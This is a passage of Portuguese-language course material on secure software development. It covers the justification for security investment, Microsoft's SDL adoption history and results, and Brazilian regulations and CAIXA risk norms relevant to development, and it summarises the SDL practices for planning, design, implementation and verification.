às partes interessadas"

Agindo como analistas de negócios, profissionais de segurança sentirão

a necessidade de alinhar as necessidades de TI ao negócio da organização.

Dessa forma, argumentos técnicos podem facilmente ser traduzidos em razões

negociais. Investimentos em segurança podem, por exemplo, ser vistos como:

meios de mitigar questões de privacidade que podem levar a ações

judiciais de clientes prejudicados;

formas de evitar situações que poderiam violar acordos de nível de

serviço e gerar tempo de inatividade, resultando em prejuízos

contratuais diretos e possíveis perdas judiciais;

solução plausível de gestão de riscos operacionais e custos

associados.

Então, porque segurança em desenvolvimento? O Capítulo 4, "SDL for

Management", é crítico para os gestores e para os técnicos que querem

conhecer as razões corporativas. Mostra o SDL em termos não técnicos e

sensibiliza o leitor para os custos e benefícios do processo.

Concluímos este tópico com interessante argumento técnico-gerencial

apresentado pelo manual do SDL:



A Microsoft aprendeu e adotou o SDL para remediar seus

erros passados. Você também deve fazê-lo. A Microsoft viu

vulnerabilidades reduzidas em mais de 50% por causa do

SDL. Você também verá.

2.2. Cases de Implementação

O Capítulo 3 do manual do SDL relata o que chamou de uma breve

história do SDL na Microsoft. São cases que descrevem experiências ocorridas

desde a concepção das ideias que levaram ao desenvolvimento do SDL. A

seguir, tratamos de algumas dessas experiências, sob a forma de breves

destaques.

ATENÇÃO:

Detalhes sobre estes e outros cases podem ser obtidos na última edição

do manual Microsoft Security Development Lifecycle Process ou nas soluções

para web services, disponíveis no website corporativo da Microsoft:

<http://msdn.microsoft.com/enus/library/ff648318.aspx>.

A implementação do SDL na Microsoft. Iniciou-se em 2002, em um

processo intensivo que ficou conhecido como "esforços de segurança". Esse

nome se justificava porque envolvia a compactação de atividades

correspondentes a várias fases do SDL em um período relativamente curto.

Tudo para garantir o início do processo e o impacto no ciclo de vida dos

produtos em desenvolvimento.

Com efeito, os esforços de segurança viabilizaram ganhos nos planos,

cronogramas e recursos das equipes de produto. Os trabalhos se

concentraram na modelagem de ameaças, revisões de código e testes de

segurança.

No final de 2002 e início de 2003, antes do lançamento do Windows

Server 2003, foi introduzida a revisão final de segurança (FSR), que acabou

tendo significativo impacto na configuração final do Windows Server 2003.



Logo em seguida, a Microsoft começou um projeto para formalizar o

processo de SDL, sendo destacáveis quatro importantes resultados desse

projeto:

Diretiva para a aplicação obrigatória do SDL

Treinamento obrigatório para o pessoal de engenharia

Métricas para equipes de produto

A função da equipe de segurança central

Aplicação obrigatória do SDL. Com os ganhos obtidos pelo uso do

SDL na fase dos esforços de segurança, a Microsoft resolveu exigir a aplicação

do SDL em uma ampla variedade de softwares. O SDL passou, então, a ser

obrigatório para todo software:

usado para processar informações pessoais ou confidenciais

usado em uma empresa ou outro tipo de organização (incluindo as

acadêmicas, governamentais ou sem fins lucrativos)

que esteja conectado à Internet ou seja usado em um ambiente em

rede.

Treinamento obrigatório. Esse aspecto foi indispensável ao sucesso

dos esforços de segurança. Por isso, a Microsoft formalizou um requisito de

treinamento anual para engenheiros em organizações cujos softwares estão

sujeitos ao SDL. A atualização anual indispensável decorre do fato de a

segurança não ser um domínio estático: as ameaças, os ataques, os cenários e

as defesas evoluem.

A partir dos detalhes da implementação dessa exigência, diversos

parceiros e clientes se interessaram pelos processos e treinamentos em

segurança da Microsoft, dando margem ao surgimento de novos produtos. A

Microsoft Press tem publicado livros baseados nas práticas internas da

Microsoft sobre design seguro, codificação e modelagem de ameaças,

enquanto a Microsoft Learning oferece cursos sobre as mesmas base.

Métricas para equipes de produtos. Direcionada pelo ditado "não é

possível gerenciar o que não se pode medir", a Microsoft criou um conjunto de

métricas de segurança que as equipes de produto podem usar para monitorar o

êxito da implementação do SDL.



Essas métricas englobam a implementação da equipe do SDL desde a

modelagem de ameaças, a revisão do código e os testes de segurança até a

segurança do software apresentado para a FSR. Como essas métricas são

implementadas ao longo do tempo, elas devem permitir que as equipes

acompanhem seu próprio desempenho (melhorando, nivelado ou piorando),

bem como o seu desempenho em comparação com outras equipes.

A equipe de segurança central. A equipe SWI (Secure Windows

Iniciative - Iniciativa do Windows seguro) foi criada pela Microsoft com a função

de aprimorar a segurança do software; reduzir vulnerabilidades no Windows;

fornecer suporte de segurança a equipes de produto e às que desenvolvem o

Windows. O papel da equipe SWI foi fundamental na organização e no

gerenciamento do esforço de segurança do Windows Server 2003, e forneceu

suporte de consultoria e treinamento para todos os esforços de segurança

ocorridos no início de 2002. A SWI também executou a FSR do Windows

Server 2003, sendo pioneira no processo de FSR.

A disponibilidade e a eficiência da equipe SWI são fatores-chave na

implementação do SDL na Microsoft. Com a distribuição formal do SDL, a SWI

assumiu o papel de equipe de segurança central da Microsoft, sendo que suas

responsabilidades incluem:

desenvolver, manter e aprimorar o SDL, definindo aspectos

obrigatórios do processo;

desenvolver, aprimorar e fornecer treinamento a engenheiros;

fornecer 'supervisores de segurança' para orientação e revisão das

atividadades das equipes de produto durante o processo, garantindo

que as perguntas da equipe de produto recebam respostas

oportunas, precisas e autorizadas.

servir como especialistas no assunto em uma ampla variedade de

tópicos de segurança, garantindo que as perguntas direcionadas aos

supervisores de segurança recebam respostas oportunas e precisas.

executar as revisões finais de segurança antes que o software seja

lançado.



investigar vulnerabilidades relatadas em software que foi lançado

para os clientes, garantindo sejam compreendidas suas causas e que

seja iniciado o nível de resposta apropriado.

Resultados da implementação do ciclo de vida do desenvolvimento da segurança (SDL) na Microsoft. Embora tenha optado por não fazer

declarações conclusivas quanto à capacidade do SDL em melhorar a

segurança do software, a Microsoft considerou animadores os resultados do

esforço empreendido na ocasião.

Desde o lançamento do Windows Server 2003, que foi o primeiro

sistema operacional na Microsoft que implementou grandes partes do SDL, o

número de boletins de segurança emitidos tem sido menor, conforme se pode

visualizar na Figura 4.

Figura 4 - O Windows antes e depois dos boletins de segurança importantes e críticos do SDL. FONTE: Microsoft® Corporation, disponível em: https://msdn.microsoft.com/pt-br/library/ms995349.aspx

A Microsoft avaliou cada boletim de segurança que se aplica ao

Windows 2000 em relação ao seu sistema atual de classificação de gravidade,

levando-se em conta que o Windows Server 2003 foi desenvolvido com a

maioria (mas não todos) os processos do SDL e o Windows 2000 não foi

desenvolvido sob o SDL. As classes de gravidade foram disponibilizadas

em http://www.microsoft.com/technet/security/bulletin/rating.mspx.

Outros lançamentos de software Microsoft também aplicaram elementos

do SDL, no âmbito dos esforços de segurança. Os resultados do esforço de


https://www.microsoft.com/technet/security/bulletin/rating.mspx


segurança do SQL Server foram incorporados ao SQL Server 2000 Service

Pack 3, e os do Exchange Server foram incorporados ao Exchange 2000

Server Service Pack 3. As Figuras 5 e 6 evidenciam os ganhos obtidos, ao

mostrarem a quantidade de boletins de segurança lançados em períodos iguais

antes de depois do lançamento do respectivo service pack (um período de 24

meses para o SQL Server 2000 e de 18 meses para o Exchange 2000 Server).

Figura 5 - O SQL Server 2000 antes de depois dos boletins de segurança do SDL.FONTE: Microsoft® Corporation, disponível em: https://msdn.microsoft.com/pt-br/library/ms995349.aspx

A eficiência do SDL continuou sendo evidenciada por meio de diversos

exemplos. A Microsoft considera animador o caso do componente Internet

Information Server do Windows Server 2003 (IIS 6), que se manteve sob

monitoramento contínuo nos anos posteriores ao seu lançamento no que diz

respeito a níveis de vulnerabilidades de segurança.

Figura 6 - O Exchange Server 2000 antes de depois dos boletins de segurança do SDL. FONTE: Microsoft® Corporation, disponível em: https://msdn.microsoft.com/pt-br/library/ms995349.aspx



De igual maneira, têm sido monitoradas as taxas de vulnerabilidades no

Windows Server 2003 e nos service packs do Exchange Server e do SQL

Server para ver se as tendências iniciais persistem. Mantém-se como propósito

da organização a análise e monitoramento de outros softwares Microsoft,

conforme novas versões sejam fornecidas após a implementação total do SDL,

para determinar se as taxas de gravidade e os números de vulnerabilidades de

segurança continuam caindo.

2.3. Visão Geral de Regulamentações que demandam segurança em desenvolvimento

Quando se fala em desenvolvimento seguro de softwares e aplicações,

não se pode focar exclusivamente em metodologias de segurança utilizadas

para criar aplicativos e serviços online. É preciso, também, levar em

consideração as regras organizacionais voltadas ao controle do risco

operacional de cada perfil de negócio. Além disso, variados cenários

normativos podem exigir que determinados grupos ou organizações se

adequem a exigências de mercado e/ou governamentais.

Sendo assim, é indispensável que o profissional de segurança tenha

ciência da conjuntura regulatória na qual estão situadas as organizações-

clientes. Apenas dessa forma, será possível ampliar o alcance do

desenvolvimento seguro com a incorporação dos requisitos legais adequados a

cada caso.

Sabemos o quanto é difícil para um profissional de TI, que não tenha

simultaneamente formação jurídica, compreender as exigências legais e

incorporá-la aos seus esforços de desenvolvimento seguro.

Sabemos também que é impossivel relacionar aqui toda a estrutura

normatíva necessária ao desenvolvimento seguro de aplicações. Isso porque

cada software tem sua destinação e contexto, estando, portanto, sujeito a um

arcabouço regulatório próprio.

Diante da complexidade dos fatos, optamos por fazer uma abordagem

genérica, capaz de auxiliar ao profissional de segurança da informação a



perceber a importância de buscar a conformidade normativa no momento de

produzir ou atualizar um software.

Por motivos óbvios, tomamos como ponto de partida a CAIXA. Trata-se

de uma empresa pública federal, que atua no segmento financeiro de mercado

e, ao mesmo tempo, no segmento governamental de fomento. Essa descrição

super resumida da realidade da CAIXA já traz em si mesma altíssima

complexidade jurídica. Que precisa ser analisada e levada em conta nos

planejamentos dos processos de desenvolvimento seguro.

Opa! Agora ficou difícil de entender, TutorTI.

Você está querendo dizer que para desenvolver softwares para a CAIXA

temos que conhecer as leis que a regem

De certa forma, sim. Estamos dizendo que, se quisermos desenvolver

softwares seguros, deveremos levar em conta, sempre que for necessário, o

contexto regulatório do no qual se encontra o cliente e, se for o caso, o produto

que foi encomendado.

Por exemplo, suponha, primeiramente, que você deva desenvolver um

produto financeiro comum. Ele está sujeito às leis do mercado e à legislação

federal para empresas públicas. Por isso, o desenvolvimento seguro requer

que sejam conhecidas as normas governamentais, as regras do Banco Central,

a política de gestão de risco da CAIXA, etc.

Por outro lado, imagine agora que a encomenda seja uma solução para

viabilizar o incentivo governamental a um programa de moradia popular, que

será implementado por meio da CAIXA. Pois bem, nesse caso, para o

desenvolvimento seguro, será igualmente necessário conhecer as normas

governamentais, as regras do Banco Central, a política de gestão de risco da

CAIXA, etc.

Além disso, por se tratar de programa de fomento à moradia, os

desenvolvedores deverão igualmente conhecer a legislação que criou aquele

programa. Só assim será possível cumprir seus requisitos, respeitar suas

limitações e desenvolver um software que apresente o mínimo de riscos

operacionais para a Caixa.



Nossa, TutorTI! Eu trabalho com desenvolvimento de software há

mais de dez anos e nunca ouvi falar nisso.

Acredito em você, mas os tempos mudaram. Lembra dos argumentos

técnicos que foram usados para responder à questão: porque desenvolvimento

seguro? Vamos recordar alguns deles: o histórico da indústria de software está

repleto de bugs de segurança; as ameaças têm mudado ao longo do tempo,

aumentando muito a vulnerabilidade dos usuários; os atuais métodos de

desenvolvimento não conseguem produzir software seguro sem um modelo de

processo de desenvolvimento seguro.

Dito isso, podemos completar com o fato de que a própria Microsoft, e

depois dela tantas outras corporações, só começou a despertar para a

necessidade do desenvolvimento seguro a partir de 2002. E a segurança exige,

sim, que os profissionais de TI caminhem na direção do conhecimento do

negócio organizacional e de seu arcabouço regulatório.

Agora que já compreendemos essa importância, enumeramos, na

Tabela 1, algumas das mais mais importantes normas relacionadas à

segurança da informação e aplicáveis à Administração Pública Federal (APF),

pois a Caixa é uma empresa pública federal.

Lei, Decreto, Norma ou Medida Provisória O que regulamenta?

Lei 12.527 de 18 de novembro de 2011.Regula o acesso a informações, regulamentando dispositivo do art. 5o, da Constituição Federal Brasileira.

Lei 7.232 de 29 de outubro de 1984. Dispõe sobre a Política Nacional de Informática e dá outras providências.

Decreto 3.505 de 13 de julho de 2000.Institui a política de segurança da Informação nos Órgãos e entidades da APF.

Decreto nº 4.553 de 27 de dezembro de 2002.

Dispõe sobre a salvaguarda de dados, informações, documentos e materiais sigilosos de interesse da segurança, da sociedade e do Estado, no âmbito da APF.

Instrução normativa nº1 do GSI de 13 de junho de 2008.

Disciplina a Gestão de segurança da Informação e comunicações na Administração pública Federal, direta e indireta.

Norma Complementar nº 002 – Metodologia de gestão de SIC.

Define a metodologia de gestão de segurança da informação e comunicações utilizada pelos órgãos e entidades da APF direta e indireta.

Norma Complementar nº 003 – Elaboração e manutenção da política de Segurança.

Define diretriz para elaboração de política de segurança da informação e comunicações nos órgãos e entidades da APF.

Norma Complementar nº 004 – Gestão de Riscos.

Estabelece as diretrizes para o processo de Gestão de Riscos de Segurança da Informação e Comunicações - GRSIC nos órgãos ou entidades da APF direta e indireta.

Instrução Normativa nº 04 de 19 de maio de 2008.

Dispõe sobre o processo de contratação de serviços de Tecnologia da Informação pela APF direta, autárquica e fundacional

Lei 9.983 de 14 de julho de 2000.Acrescenta penas ao código penal brasileiro a indivíduos que violarem os sistemas de informação.

Tabela 1 - Leis, decretos e instruções normativas brasileiras.FONTE: Elaboração da autora.



Ressalte-se que, por se tratar de instituição financeira, a CAIXA também

se sujeita a normativos específicos de seu segmento de atuação, incluindo leis

e acordos internacionais. Como exemplo, podem ser citadas as diversas

resoluções do Conselho Monetário Nacional (CMN); a Lei norte-americana

Sarbannes-Oxley; os acordos Basileia I, II e III, do Comitê de Regulamentação

Bancária e Práticas de Supervisão, criado pelos países do G10 em 1974;

Além disso, o desenvolvimento seguro deve respeitar as normas ABNT

ISO/IEC 27001:2006 e ABNT ISO/IEC 27002:2005 no contexto de segurança

para o desenvolvimento de sistemas Web Services.

Finalmente, temos que considerar que a CAIXA possui estrutura

normativa própria, compatível com a natureza e com a complexidade de seus

produtos, serviços, atividades, processos e sistemas, a exemplo das políticas

de gerenciamento de Risco Operacional, cujos principais normativos estão

resumidos na Tabela 2.

NORMATIVO CONTEÚDOPO003

Política de Gerenciamento de Riscos do Conglomerado CAIXA, que consolida todas as políticas de riscos.

NS106Modelo de Atuação em Gerenciamento de Riscos Operacionais, que detalha os processos de identificação e avaliação de riscos operacionais.

CR173

Limites de Exposição a Risco de Mercado, de Carteira de Crédito, de Liquidez e Operacional, que define os limites de exposição em conformidade com a PO003, com as estratégias e objetivos empresariais, com a legislação vigente e com as boas práticas de Governança Corporativa, definindo a tolerância ao risco da CAIXA e resguardando a sua solvência e liquidez.

CR011Mitigação de Risco Operacional, que estabelece regras e procedimentos para mitigar riscos operacionais identificados ou corrigir erros e/oue falhas em processos, produtos e serviços, visando minimizar as perdas financeiras.

CR115Gestão do Risco Operacional, que define parâmetros, modelos e métodos para identificação, avaliação, monitoramento, controle, mitigação de riscos operacionais e divulgação interna e externa.

CR266Eventos de Risco Operacional, que estabelecer os níveis, as categorias e as definições de eventos de risco operacional a fim de permitir sua adequada classificação, contribuindo, inclusive, para adoção de ações para mitigação de riscos.

Tabela 2- Gerenciamento de Riscos do Conglomerado CAIXA.FONTE: Elaboração da autora.

Concluímos, assim, mais uma unidade de aprendizagem. Ao longo dela,

você teve a oportunidade de refletir em torno do desenvolvimento seguro;

percebeu a importância que as organizações devem dar ao tema; identificou

algumas justificativas operacionais e estratégicas em favor da segurança no

desenvolvimento de aplicações; conheceu alguns cases de implementação; e

teve uma visão geral da legislação que regula questões de segurança em

desenvolvimento.



Em RESUMO: Justificativas técnicas para o Desenvolvimento Seguro =>

- atuais métodos não conseguem produzir software seguro;

- ameaças têm mudado ao longo do tempo, aumentando muito a vulnerabilidade dos

usuários;

- falta de segurança tem a ver com privacidade e tempo de inatividade;

- paisagem de segurança e privacidade não é a mesma da virada do século;

- hoje tudo está conectado e criminosos atuam na comunidade on-line;

- não existe indícios de que essa tendência vai diminuir;

- histórico da indústria de software está repleto de bugs de segurança.

Justificativas estratégicas para o Desenvolvimento Seguro => investimentos em

segurança são:

- meios de mitigar questões de privacidade que podem levar a ações judiciais;

- formas de evitar violações de acordos de nível de serviço que geram inatividade,

resultando em prejuízos contratuais diretos;

- solução plausível de gestão de riscos operacionais e custos associados.

Categorias de normativos aos quais a CAIXA se sujeita =>

- públicos, por ser empresa pública federal;

- privadas, por atuar no mercado financeiro;

- resoluções, leis e acordos internacionais aplicáveis ao mercado financeiro;

- normas internas que definem suas próprias políticas de negócio, de gestão de riscos, de TI,

etc.



3. O processo de segurança em desenvolvimento

Esta unidade de aprendizagem visita o processo de segurança em

desenvolvimento, permitindo-nos maior aproximação com especificidades do

tema proposto. Nos tópicos do Capítulo 3 você:

terá uma visão geral do Security Development Lifecycle (SDL);

percorrerá as seguintes fases do ciclo de desenvolvimento

seguro:

o fase de planejamento;

o fase de design;

o fase de implementação; e

o fase de administração da solução.

Como já vimos, segurança é um requisito fundamental para

fornecedores de software. Ela sofre pressões do mercado, pela necessidade de

proteger infraestruturas críticas e de criar e preservar uma cultura de confiança

na área de TI.

Dessa realidade, surge um importante desafio, que é a criação de

softwares mais seguros, que requeiram menos atualizações e permitam melhor

gerenciamento de segurança.

A utilização de processos repetitivos capazes de fornecer segurança

mensurável tem sido reconhecida como uma das formas de suprir a demanda

atual por mais segurança. Isso requer a transição da realidade atual para um

processo de desenvolvimento de software mais rigoroso, focado na segurança.

O processo repetitivo proposto teria o objetivo de minimizar o número de

vulnerabilidades de segurança existentes no design, na codificação e na

documentação, detectando e removendo essas vulnerabilidades o mais cedo

possível ao longo do ciclo de vida do desenvolvimento.

O Microsoft Security Development Lifecycle (SDL) é uma proposta da

Microsoft para criação de processos com práticas de segurança consistentes. A

Parte II do manual do SDL apresenta 'O Processo do Ciclo de Vida de

Desenvolvimento de Segurança'. Trata-se de seção com 13 capítulos que

representam o núcleo do livro. Cada capítulo mapeia um dos estágios do SDL



e estabelece os requisitos para aquela fase. Os tópicos que trataremos nesta

unidade de aprendizagem representam um resumo dos principais aspectos

daquele manual.

3.1. Visão Geral do SDL

A proposta do SDL envolve garantia de segurança em web services com

foco no ciclo de vida do desenvolvimento de software. Implantado parcialmente

a partir de 2002 e com uma política de uso obrigatório em toda a organização

desde 2004, o SDL tem desempenhado função essencial na segurança e na

privacidade incorporadas à cultura corporativa da Microsoft.

ATENÇÃO:

Web service pode ser entendido como uma “aplicação lógica, programável que

torna compatíveis entre si os mais diferentes aplicativos, independentemente

do sistema operacional, permitindo a comunicação e intercâmbio de dados

entre diferentes redes"

Saiba mais em: <http://www.governoeletronico.gov.br/anexos/guia-de-orientacao-

para-implementacao-de-webservices/view>.

O SDL possui abordagem prática, objetiva e dinâmica, sem perder a

visão ampla que envolve o negócio e as políticas organizacionais. Tem por

objetivo reduzir a incidência e a gravidade das vulnerabilidades dos softwares,

garantindo segurança e privacidade em todas as fases do processo de

desenvolvimento.

A estratégia de segurança do SDL baseia-se na regra SD3+C, que

corresponde aos princípios do desenvolvimento seguro:

Secure by Design (segurança por design),

Secure by Default (segurança por padrão),

Secure in Deployment (segurança na implantação -

desenvolvimento/produção), e

Communications (comunicação).



O SDL aplica esses princípios no ciclo de vida de desenvolvimento de

software. Um modelo de ciclo de vida composto por sete fases, conforme ilustra,

de forma simplificada, a Figura 7, a seguir. Esse é o chamado processo SDL de

desenvolvimento de software.

Apesar de possuir fases bem marcadas para cada etapa da construção do

sistema, você poderá encontrar em seus estudos, algumas variações do

modelo da Figura 7 - O Microsoft Security Development Lifecycle -

Simplificado.. Isso ocorre porque a Microsoft adota os conceitos principais ali

apontado e aplica o SDL como um processo que reflete os contextos de negócios

e técnicos da organização na qual ele é utilizado.

Dessa forma, o SDL tem sido aplicado a centenas de produtos da

Microsoft executados em vários sistemas operacionais e plataformas de

hardware. Isso não quer dizer que o modelo é variável, e, sim, que ele é

adaptável, ajustável, sem perder sua essência.

A integração dos conceitos de desenvolvimento seguros a um processo

de desenvolvimento já existente pode ser complexo, caro e intimidador, caso

não seja adequadamente implementado. A Microsoft criou o modelo de

otimização do SDL para ajudar a contribuir com o sucesso e diminuir as falhas

dessas iniciativas.

Tomemos o modelo de otimização do SDL estruturado em torno de cinco

áreas de capacidade, correspondentes às fases do ciclo de vida do

desenvolvimento de software, por exemplo:

1. Treinamento, política e capacidades organizacionais

2. Requisitos (planejamento) e design

3. Implementação

4. Verificação (administração)

5. Liberação e resposta


Figura 7 - O Microsoft Security Development Lifecycle - Simplificado.FONTE: https://www.microsoft.com/en-us/SDL/process/training.aspx


Observe que, apesar de termos especificado apenas cinco fases, temos

a mesma estrutura ilustrada pela Figura 7. As únicas diferenças estão no fato

de que agrupamos as fases de requisito/design e as fases de

liberação/resposta. Uma outra forma de organizar o mesmo ciclo de vida seria

seria considerar o treinamento como pré-fase e enumerar as seguintes cinco

fases:

1. Planejamento (requisitos)

2. Design

3. Implementação

4. Verificação

5. Liberação.

O modelo de otimização do SDL estabelece quatro níveis de maturidade

para as práticas e capacidades: básico, padronizado, avançado e dinâmico. Ele

se inicia com o nível de maturidade básico, com nenhum ou poucos processos,

treinamentos e ferramentas implantados e progride até o nível dinâmico, que se

caracteriza por total conformidade do SDL em toda a organização.

A implantação completa do SDL inclui processos eficientes, pessoal

altamente treinado, ferramentas especializadas e forte responsabilidade das

partes internas e externas à organização. Cumpre, portanto, os três aspectos-

chaves na criação de software mais seguro: o processo repetitivo, o

treinamento de engenheiros e as métricas e responsabilidades.

Sejam cinco ou sete fases, como mostra a Figura 7, é preciso enfatizar

que o modelo do SDL não é um processo de desenvolvimento em 'cascata'.

Trata-se de um processo em 'espiral', no qual os requisitos e o design são

revisitados diversas vezes durante a implementação. Sempre registrando

ganhos em resposta aos ajustes necessários ao alinhamento com o negócio

corporativo e com as realidades surgidas ao longo do ciclo de vida do software.

No que diz respeito às fases do ciclo de vida, é preciso registrar que,

antes de iniciar a implementação, o SDL recomenda o treinamento dos

profissionais que serão envolvidos com o projeto, como o programador,

revisor, o arquiteto, o analista, o gestor e o testador. Essa éuma pré-fase,

considerad indispensável à capacitação e atualização das equipes.



A recomendação de treinamento é que cada profissional realize

anualmente, no mínimo, os seguintes cursos:

Projeto de segurança: redução da superfície de ataque, defesa em

profundidade e em camadas e o princípio do menor privilégio.

Modelagem de ameaças: implicações do projeto de modelagem de

ameaças e as restrições de codificação da modelagem.

Codificação segura: estouro de buffer, erros de aritmética de inteiros,

cross-site scripting, SQL injection e criptografia fraca.

Testes de segurança: métodos de testes de segurança e funcionais e

avaliação de riscos.

Privacidade: tipos de dados sensíveis à privacidade, projetar,

desenvolver e testar a privacidade de acordo com as melhores práticas.

Esse plano mínimo de treinamento constitui a 'Prática 1 do SDL:

Requisitos de treinamento'. Cada uma das demais fases possui três práticas,

correspondendo a um total de dezesseis prática. Vejamos algumas delas,

aseguir, com a especificação das fases de planejamento (requisitos), design,

implementação e administração .

3.2. A Fase de Planejamento

No início de um projeto é importante que se faça o alinhamento de todos

os pontos de segurança. Essa é uma providência de planejamento que tende a

favorecer uma melhor revisão de segurança e um produto de maior qualidade.

O planejamento do projeto tem uma série de passos discretos e

importantes, que ocorrem nesta fase de requisitos: determinar se o aplicativo é

coberto pelo ciclo de vida de desenvolvimento de segurança (SDL); definit o

supervisor de segurança; criar equipe de liderança de segurança; garantir que

o processo de rastreamento de bugs inclui campos de bugs de segurança e

privacidade; determinar a 'barra de erros'.

Todos esses passos, e alguns outros, se desenvolvem nas práticas 2 a 4

do SDL, conforme vemos a seguir.



Prática 2 do SDL: requisitos de segurança. Após a pré-fase de

treinamento, o processo entra na fase de requisitos, na qual ocorre o

planejamento do que se desdobrará nas próximas etapas. Durante a fase de

requisitos, a equipe de produto solicita à equipe de segurança central que

designe um supervisor de segurança, que servirá como um ponto de contato,

pesquisa e orientação durante o planejamento e até a conclusão da revisão

final de segurança e o lançamento do software.

Essa fase representa o momento ideal para definir os requisitos de

confiabilidade para um projeto de software está nos estágios iniciais do

planejamento. A definição inicial de requisitos permite que as equipes de

desenvolvimento identifiquem as etapas e os resultados finais principais;

permite a integração da segurança e da privacidade de forma a minimizar

interrupções de planos e cronogramas. A análise de requisitos de segurança e

de privacidade é realizada no primeiro esboço do projeto, inclui a especificação

dos requisitos de segurança mínimos para o aplicativo, e a especificação e

implantação de um sistema de monitoramento de vulnerabilidade de

segurança/itens de trabalho.

Prática 3 do SDL: portões de qualidade/barras de erros. Portões de

qualidade e barras de erros são critérios usados para estabelecer níveis mínimos

aceitáveis de qualidade de segurança e de privacidade. São definidos no início

de um projeto para melhorar o entendimento dos riscos, permitindo que as

equipes identifiquem e corrijam falhas de segurança durante o desenvolvimento.

São parâmetros que devem ser negociados pela equipe de projetos e aprovados

pelo consultor de segurança para cada fase de desenvolvimento. Uma barra de

erros é um portão de qualidade que se aplica a todo o projeto de

desenvolvimento de software. Ela é usada para definir os limites de severidade

das vulnerabilidades de segurança, por exemplo, nenhuma vulnerabilidade

conhecida na aplicação com uma classificação “crítica” ou “importante” no

momento da liberação. A barra de erros, uma vez estabelecida, nunca deve ser

cedida.

Prática 4 do SDL: avaliações de riscos de segurança (SRAS) e de

privacidade (PRAS). SRAS e as PRAS são processos obrigatórios que

identificam os aspectos funcionais do software. Essas avaliações devem incluir

as seguintes informações:



1. (Segurança) Quais partes do projeto requerem modelos de ameaças antes

da liberação?

2. (Segurança) Quais partes do projeto requerem revisões do design de

segurança antes da liberação?

3. (Segurança) Quais partes do projeto (se houver) exigirão um teste de

penetração por um grupo de comum acordo que seja externo à equipe do

projeto?

4. (Segurança) Existem outros requisitos de teste ou de análise considerados

necessários pelo consultor de segurança para mitigar os riscos de

segurança?

5. (Segurança) Qual é o escopo específico dos requisitos de teste fuzzing?

6. (Privacidade) O que é a Classificação de impacto de privacidade? A

resposta para essa pergunta se baseia nas seguintes diretrizes:

P1 Risco de privacidade alto, quando o recurso, produto ou serviço

armazena ou transfere Pll, altera as configurações ou as associações de

tipo de arquivo ou instala softwares.

P2 Risco de privacidade moderado, quando o único comportamento que

afeta a privacidade no recurso, produto ou serviço é uma transferência

de dados iniciada pelo usuário e anônima.

P3 Risco de privacidade baixo, quando não há comportamento nesse

recurso, produto ou serviço que afeta a privacidade.

3.3. A Fase de Design

A fase de design identifica a estrutura e os requisitos gerais do software.

Seus elementos-chave são parte das práticas 5 a 7 do SDL.

Prática 5 do SDL: requisitos de design . O momento ideal para influenciar

a confiabilidade do design de um projeto é o início de seu ciclo de vida, quando

a mitigação dos problemas de segurança e de privacidade é muito mais barata.

Além disso, é indispensável que as equipes de projeto entendam a

diferença entre “recursos seguros” e “recursos de segurança”. É possível

implementar recursos de segurança que sejam, de fato, não seguros. Recursos



seguros são aqueles cuja funcionalidade é bem-estruturada do ponto de vista

da engenharia, no que diz respeito à segurança. Já o termo recursos de

segurança descreve a funcionalidade do programa que tenha implicações de

segurança.

A atividade de requisitos de design contém variadas ações. Os exemplos

incluem a criação das especificações de design de segurança e de privacidade,

a revisão da especificação e a especificação dos requisitos de design

criptográficos mínimos. É uma boa prática validar as especificações de design

com relação à especificação funcional do aplicativo, que deve:

descrever precisa e completamente o uso planejado de um recurso ou

função.

descrever como implantar o recurso ou função de forma segura.

Prática 6 do SDL: redução da superfície de ataque. A redução da

superfície de ataque está intimamente alinhada com a modelagem de

ameaças, embora ela aborde as questões de segurança sob uma perspectiva

um pouco diferente. É um meio de reduzir riscos dando aos invasores menos

oportunidades de explorar um ponto fraco ou uma vulnerabilidade potenciais.

Abrange o fechamento ou a restrição do acesso aos serviços do sistema,

aplicando o princípio de privilégio mínimo e empregando defesas em camadas

sempre que possível.

Prática 7 do SDL: modelagem de ameaças. A modelagem de ameaças é

usada em ambientes onde há um risco de segurança significativo. É uma

prática que permite que as equipes de desenvolvimento considerem,

documentem e discutam as implicações de segurança de designs no contexto

de um ambiente operacional planejado e de forma estruturada. A modelagem

de ameaças é um exercício de equipe, abrangendo os gerentes de

programas/projetos, desenvolvedores e testadores e representa a tarefa de

análise de segurança primária realizada durante o estágio de design de

software.



3.4. A Fase de Implementação

Durante a fase de implementação, a equipe de produto gera o código,

testa e integra o software. Promovem etapas seguidas para remover falhas de

segurança ou evitar sua inserção inicial, reduzindo significativamente a

probabilidade de que vulnerabilidades de segurança na versão final do

software. Os elementos do SDL que são aplicados na fase de implementação

desencadeiam-se nas práticas 8 a 10 do SDL.

Prática 8 do SDL: Utilizar ferramentas aprovadas. Todas as equipes de

desenvolvimento devem definir e publicar uma lista de ferramentas aprovadas

pelo consultor de segurança da equipe do projeto, com as verificações de

segurança associadas, como as opções e os avisos de compilador/vinculador.

As equipes de desenvolvimento devem procurar usar a versão mais recente

das ferramentas aprovadas para aproveitar as novas funcionalidades e

proteções de análise de segurança.

Prática 9 do SDL: desaprovar funções não seguras. Muitas funções e

APIs comumente usadas não são seguras frente ao ambiente atual de

ameaças. As equipes de projeto devem analisar todas as funções e APIs que

serão usadas em um projeto de desenvolvimento de software e proibir as que

forem consideradas não seguras. Uma vez definida a lista de proibidos, as

equipes de projeto devem usar arquivos de cabeçalho, novos compiladores ou

ferramentas de verificação de código para verificar a existência de funções

banidas e substituí-las por alternativas mais seguras.

Prática 10 do SDL: Análise estática. As equipes de projeto devem

realizar análises estáticas de código-fonte para alcançar uma capacidade

escalável de revisão de código de segurança. O que pode ajudar a assegurar

que as políticas de codificação seguras estejam sendo seguidas. Tendo em

vista que a análise de código estática é geralmente insuficiente para substituir

uma revisão de código manual, a equipe e os consultores de segurança devem

estar preparados para acrescentar às ferramentas de análise estática outras

ferramentas ou revisão humana, como for apropriado.



3.5. A Fase de Administração

A fase de administração pode ser vista como todas as etapas que

ocorrem após a conclusão do software. Por isso é muitas vezes considerada

como a junção das fases de verificação e de liberação.

Fase de verificação. É o ponto em que o software está funcionalmente

concluído, entra em testes beta por usuários, a equipe de produto realiza um

'esforço de segurança' que inclui revisões do código além das concluídas na

fase de implementação, bem como testes de segurança direcionados. Esta

fase inclui as práticas 11 a 13 do SDL.

Prática 11 do SDL: Análise de programa dinâmica. A verificação de

tempo de execução de programas é necessária para garantir

sua funcionalidade planejada. Essa tarefa de verificação deve especificar as

ferramentas que monitoram o comportamento do aplicativo quanto à corrupção

da memória, problemas de privilégio do usuário e outros problemas de

